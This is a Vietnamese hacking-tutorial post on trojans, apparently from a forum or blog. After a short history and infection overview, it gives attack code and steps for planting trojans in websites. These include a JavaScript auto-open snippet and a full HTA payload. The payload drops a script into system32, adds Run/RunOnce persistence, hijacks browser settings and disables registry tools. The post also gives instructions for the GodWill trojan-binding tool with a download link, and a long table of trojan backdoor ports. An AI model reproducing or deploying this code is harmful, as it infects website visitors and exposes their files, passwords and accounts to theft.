Trojan là một công cụ giúp hacker có thể đột nhập từ xa ,khi bạn xâm nhập 1 hệ thống máy chủ nào đó ,bạn thường để lại 1 con trojon như backdoor giúp bạn mở 1 cổng ra kết nối về său này ...
Nói về lịch sử trojans thì xuất phát từ 1 câu chuyện cổ HILẠP,các bạn biết không để công kích vào thành thì hầu như là không thể vì hệ thống được bảo vệ rất vững chắc , nhưng những người lính đó không bỏ cuộc,họ tìm cách xâm nhập vào thành bằng cách tặng cho victim(nạn nhân) 1 con ngựa gõ khổng lồ ,kẻ thù nhận lấy và chuyện gì sẽ xẩy ra
Đêm đó những người lính âm thầm xâm nhập đánh phá từ ngoài và mở 1 cổng ra để những người lính từ bên ngoài đột nhập vào
Trojan cũng như vậy khi đột nhập vào1 hệ thống máy chủ nó sẽ ,mở 1cổng ra và giúp bạn kết nối với hệ thống và đột nhập vào.

2.Trojan nguy hiểm nhu thế nào?
-Nhiều nguời, không biết trojan là gì thì nghi rằng khi chạy chúng,họ không thấy dIều gì xảy ra, và họ nghi rằng trojan không có gì nguy hiểm, bởi vì máy tính của họ vẫn làm việc và tất cả dữ liệu vẫn còn dó ,nếu dó là một con virus thì dữ liệu dã có thể mất sạch hay máy dã ngng hoạt dộng.
- Khi máy bạn bị nhiễm trojan, tất cả dữ liệu trên máy dều có thể bị nguy hiểm, thờng thì hacker không xóa tất cả hồ so này mà họ sẽ chép về khai thác nhu tàI liệu bí mật của công ty, tàI khoản internet, credit card và khi không có gì khai thác, có thể hacker xóa sạch dữ liệu của bạn. ÐôI khi hacker còn dùng trojan dể càI dặt virus phá hoại nhu CIH chẵng hạn . Ðó là một vài VD hacker có thể thực hiện khi họ dã càI thành công trojan
Ta bị lây nhiễm trojan như thế nào
Bạn không hiểu tại sao mình lại bị nhiễm trojon mĩnh xin giói thiệu qua cách thức bạn bị nhiễm
-Bạn tải 1 phần mềm không rõ ngừôn gốc
-Bạn vào 1 trang website lạ và xem 1 tấm ảnh hấp dẫn
-Bạn đọc 1 email không rõ nguồn gốc
-Bạn không cài firewall và dùng phần mềm quét virus
-Bạn dùng USB của người lạ mà không kiểm tra ......
Như vậy nguyên nhân thì bạn đã biết
Bạn tải phần mềm không rõ nguồn gốc bạn có biết đó chính là 1 con trojan hay không?
Bạn vào 1 trang website từ 1 lời mời bạn có biết đã bị gắn trojan vào đoạn mã javascript hay không?
Bạn đọc mail lạ bạn có biết là có đính kèm trojan hay không
Rất nhiều lý do quan trọng là bạn phải cần thận trước mánh khoé của các hacker

3.Cách đính kèm trojan vào website
Một số cách phổ biến đính kèm trojon vào website như dùng mã javascript hay dùng phần mềm ..
Xin giới thiệu với các bạn 1 số cách

a,Dùng 1 đoạn mã javascript để mở và phát tán trojan


CODE
<script language=javascript>
open("địa chỉ con trojan");
</SCRIPT>


Đoạn mã trên bạn chèn vào thẻ body của 1 trang website,khi nạn nhân mở website trojan sẽ mở ra và yêu cầu người lướt website mở ra.

b,bạn copy vào notepad đoạn mã sau:


CODE


<html>
<head>
<script language="javascript">
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Shell = new ActiveXObject("WScript.Shell");
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + "\\system32\\System.js";
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine('var url = "Địa chỉ trojon";');
a2.WriteLine('var burl = "Địa chỉ trojon";');
a2.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");');
a2.WriteLine('var tfolder = fso.GetSpecialFolder(0);');
a2.WriteLine('var filepath = tfolder + "\\\\system32\\\\System.js";');
a2.WriteLine('var Shell = new ActiveXObject("WScript.Shell");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\ \\\Windows",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\S ystem32",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Dia chi con trojan");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies \\\\System\\\\DisableRegistryTools",1,"REG_DWORD");');
a2.Close();
Shell.Run(filepath2);
}
catch (e){}
</script>
<HTA:APPLICATION WINDOWSTATE='minimize' SHOWINTASKBAR='no' />
</head>
<body onload='window.close()'>
</body>
</html>


rồi save lại với tên là : trojan.hta
bạn gắn đoạn mã sau vào cuối cùng của website của bạn:



CODE



<xml id="oRun">
<preview>
<view>
<![CDATA[

]]>
</view>
</preview>
</xml>

</body>
</html>



rồi sau đó bạn upload file trojan.hta với website của bạn lên cùng 1 mỗi lần mở website của bạn con trojan sẽ tự open vào trong hệ thống mà không hề bị phát hiện.

c,Dùng phần mềm đính trojan
GodWill1.06
http://www.freewebs.com/trangchulop18/GodWill1.6.rar
+ ở mục enter .exe fie bạn mở con trojan đã chuẩn bị trước ra (MYSPY hay con K2PS,yjaked1...)

chọn đường dẫn tới nó.

+ ở mục enter.html bạn chọn đường dẫn cho trang web mình cần gắn trojan.

+ không nhắp chọn Uer defult page

+ ở mục enter.output bạn đổi tên file Geebferh.html thành tên nào bạn muốn.vì sau khi tạo xong thì trang web có gắn trojan sẽ là tên đó ( bạn không được mở trang đó ra)

+ page ICQ notyfi bạn muốn nhấp chọn cũng được nếu bạn có số ICQ thì nhấn chọn để mỗi khi có người open trang web nó sẽ báo về ICQ cho bạn...như kimdung thì chọn hết ngoại trừ "Uer defult page"


4.Một số loại trojan

4.1 Trojan dùng dể truy cập từ xa
Hiện nay, trojan loại này duợc sử dụng rất nhiều. Chức nang chính của trojan này là mở một cổng trên máy nạn nhân dể hacker có thể quay lại truy cập vào máy nạn nhân.
Những con trojan này rất dễ sử dụng. Chỉ cần nạn nhân bị nhiễm trojan và hacker có IP của nạn nhân thì hacker dã có thể truy cập toàn quyền trên máy nạn nhân
Tùy loại trojan mà chức nang của nó khác nhau ( keylogger, download, upload file, thực hiện lệnh .. ) bạn phảI dọc kỹ hớng dẫn dể sử dụng hiệu quả tất cả chức nang của nó.
Hiện có nhiều con nổi tiếng loai này nhu : netbus, back orifice ...

4.2 Keylogger
Con này dã quá quen thuộc với bạn, nó ghi lại tất cả hành dộnh trên bàn phím rồi gửi về cho hacker khi nạn nhân online.
Vd : kuang keylogger ..

4.3 Trojan gửi mật khẩu
Ðọc tất cả mật khẩu luu trong cache và thông tin về máy nạn nhân rồi gửi về cho hacker mỗi khi nạn nhân online.
Vd : barok, kuang, bario ..

4.4. Trojan phá hủy
Loại trojan này rất dễ sử dụng
Những con trojan này chỉ có một nhiệm vụ duy nhất là giết giết giết, tiêu diệt tiêu diệt tiêu diệt tất cả file trên máy bạn ( VD file .exe, .dll, .ini .... )
Những con trojan này rất nguy hiễm vì khi máy bạn bị nhiễm chỉ một lần thôI thì tất cả dữ liệu mất sạch sành sanh, chả còn cáI gì cả L
Vd : Trojan loại này con nít lên 3 cung biết viết, khỏi cho VD.

4.5 FTP trojan
Loại trojan này sẽ mở cổng 21 trên máy của bạn và dể cho tất cả mọi nguời kết nối dến máy tính của bạn mà không có mật khẩu và họ sẽ toàn quyền tải bất kỳ dữ liệu nào xuống

5. Thế trojan hoạt dộng như thế nào ?
Khi nạn nhân chạy file nhiễm trojan, nếu là trojan truy cập từ xa ( remote access ), file server sẽ luôn ở chế độ chờ. Nó sẽ chờ, chờ mãI cho dến khi nó nhận tín hiệu của client , ngay lập tức nó sẽ mở ngay một cổng nào đó để hacker có thể truy cập vào. Nó có thể sử dụng TCP hay nghi thức UPD.
Khi bạn kết nối vào IP của nạn nhân, bạn có thể làm bất kỳ đIều gì bạn muốn vì con trojan đã bao hàm những lệnh trên.
Một vài trojan được nạp ngay khi Windows đuợc khởi dộng bằng cách sửa file win.ini, system.ini hay sửa registry.

6. Một vài cổng của một số con trojan thông dụng

QUOTE
Satanz Backdoor|666
Silencer|1001
Shivka-Burka|1600
SpySender|1807
Shockrave|1981
WebEx|1001
Doly Trojan|1011
Psyber Stream Server|1170
Ultors Trojan|1234
VooDoo Doll|1245
FTP99CMP|1492
BackDoor|1999
Trojan Cow|2001
Ripper|2023
Bugs|2115
Deep Throat|2140
The Invasor|2140
Phineas Phucker|2801
Masters Paradise|30129
Portal of Doom|3700
WinCrash|4092
ICQTrojan|4590
Sockets de Troie|5000
Sockets de Troie 1.x|5001
Firehotcker|5321
Blade Runner|5400
Blade Runner 1.x|5401
Blade Runner 2.x|5402
Robo-Hack|5569
DeepThroat|6670
DeepThroat|6771
GateCrasher|6969
Priority|6969
Remote Grab|7000
NetMonitor|7300
NetMonitor 1.x|7301
NetMonitor 2.x|7306
NetMonitor 3.x|7307
NetMonitor 4.x|7308
ICKiller|7789
Portal of Doom|9872
Portal of Doom 1.x|9873
Portal of Doom 2.x|9874
Portal of Doom 3.x|9875
Portal of Doom 4.x|10067
Portal of Doom 5.x|10167
iNi-Killer|9989
Senna Spy|11000
Progenic trojan|11223
Hack?99 KeyLogger|12223
GabanBus|1245
NetBus|1245
Whack-a-mole|12361
Whack-a-mole 1.x|12362
Priority|16969
Millennium|20001
NetBus 2 Pro|20034
GirlFriend|21544
Prosiak|22222
Prosiak|33333
Evil FTP|23456
Ugly FTP|23456
Delta|26274
Back Orifice|31337
Back Orifice|31338
DeepBO|31338
NetSpy DK|31339
BOWhack|31666
BigGluck|34324
The Spy|40412
Masters Paradise|40421
Masters Paradise 1.x|40422
Masters Paradise 2.x|40423
Masters Paradise 3.x|40426
Sockets de Troie|50505
Fore|50766
Remote Windows Shutdown|53001
Telecommando|61466
Devil|65000
The tHing|6400
NetBus 1.x|12346
NetBus Pro 20034
SubSeven|1243
NetSphere|30100
Silencer |1001
Millenium |20000
Devil 1.03 |65000
NetMonitor| 7306
Streaming Audio Trojan| 1170
Socket23 |30303
Gatecrasher |6969
Telecommando | 61466
Gjamer |12076
IcqTrojen| 4950
Priotrity |16969
Vodoo | 1245
Wincrash | 5742
Wincrash2| 2583
Netspy |1033
ShockRave | 1981
Stealth Spy |555
Pass Ripper |2023
Attack FTP |666
GirlFriend | 21554
Fore, Schwindler| 50766
Tiny Telnet Server| 34324
Kuang |30999
Senna Spy Trojans| 11000
WhackJob | 23456
Phase0 | 555
BladeRunner | 5400
IcqTrojan | 4950
InIkiller | 9989
PortalOfDoom | 9872
ProgenicTrojan | 11223
Prosiak 0.47 | 22222
RemoteWindowsShutdown | 53001
RoboHack |5569
Silencer | 1001
Striker | 2565
TheSpy | 40412
TrojanCow | 2001
UglyFtp | 23456
WebEx |1001
Backdoor | 1999
Phineas | 2801
Psyber Streaming Server | 1509
Indoctrination | 6939
Hackers Paradise | 456
Doly Trojan | 1011
FTP99CMP | 1492
Shiva Burka | 1600
Remote Windows Shutdown | 53001
BigGluck, | 34324
NetSpy DK | 31339
Hack?99 KeyLogger | 12223
iNi-Killer | 9989
ICQKiller | 7789
Portal of Doom | 9875
Firehotcker | 5321
Master Paradise |40423
BO jammerkillahV | 121

linkpost comment

navigation
[ viewing | most recent entries ]
[ go | earlier ]

Advertisement